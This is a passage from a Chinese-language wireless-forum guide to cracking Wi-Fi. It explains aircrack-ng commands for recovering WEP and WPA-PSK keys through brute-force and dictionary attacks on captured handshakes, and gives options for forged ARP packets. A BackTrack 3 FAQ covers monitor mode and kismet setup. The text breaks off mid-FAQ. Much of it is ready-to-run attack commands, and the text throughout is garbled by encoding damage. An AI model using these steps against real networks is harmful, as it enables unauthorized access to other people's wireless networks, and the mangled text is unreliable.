【-k】<ip[:port]>說(shuō)明：設置目標文件IP和端口
【-l】<ip[:port]>說(shuō)明：設置源文件IP和端口
【-y】<file>說(shuō)明：從xor 文件中讀取PRGA。后面跟xor 的文件名。
【-w】設置偽裝的arp包的文件名
Aircrack-ng：WEP 及WPA-PSK key 破解主程序
Aircrack-ng [optin] <.cap/.ivs file>
Optin
aircrack-ng -n 64 -b <ap mac> name-01.ivs
參數說(shuō)明：
【-n】：設置WEP KEY 長(cháng)度（64/128/152/256/512）
aircrack-ng -x -f 2 name-01h.cap
參數說(shuō)明：
【-x】：設置為暴力破解模式
【-f】：設置復雜程度，wep密碼設置為1，wpa 密碼設置為2
aircrack-ng -w password.txt ciw.cap
【-w】：設置為字典破解模式，后面跟字典文件，再后面跟是我們即時(shí)保存的那個(gè)捕獲到WPA 驗證的抓包
文件。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 36
常見(jiàn)問(wèn)題薈萃
問(wèn)題1：我在啟動(dòng)bt3 的時(shí)候，輸入startx黑屏
解答：在輸入用戶(hù)名root 和密碼toor 以后輸入xconf 這時(shí)會(huì )黑屏一會(huì )，然后出來(lái)提示符再輸入startx 可進(jìn)入
win窗口；當實(shí)在不能進(jìn)入win窗口的時(shí)候你也可以直接在提示符下輸入各破解命令，同時(shí)可用alt+f1 打開(kāi)
一個(gè)shell，alt+f2 打開(kāi)第二個(gè)shell，alt+f3 打開(kāi)第三個(gè)等。關(guān)閉窗口用PRINT SCREEN 鍵
問(wèn)題2：在BT3中打開(kāi)kismet 的時(shí)候窗口一閃就沒(méi)了。
解答：首先加載驅ifconfig -a rausb0 開(kāi)始網(wǎng)卡監聽(tīng):airmon-ng start rausb0。找到/usr/local/etc/kismet.conf
打開(kāi)此文件在channelsplit=true下面加入一行source=rt2500,rausb0,monitor
注： wusb54g v4一定是rt2500 ,不是加載驅動(dòng)時(shí)顯示的rt2570。
3945 的兄弟加入source=ipw3945,eth0,IPW3945
問(wèn)題3：
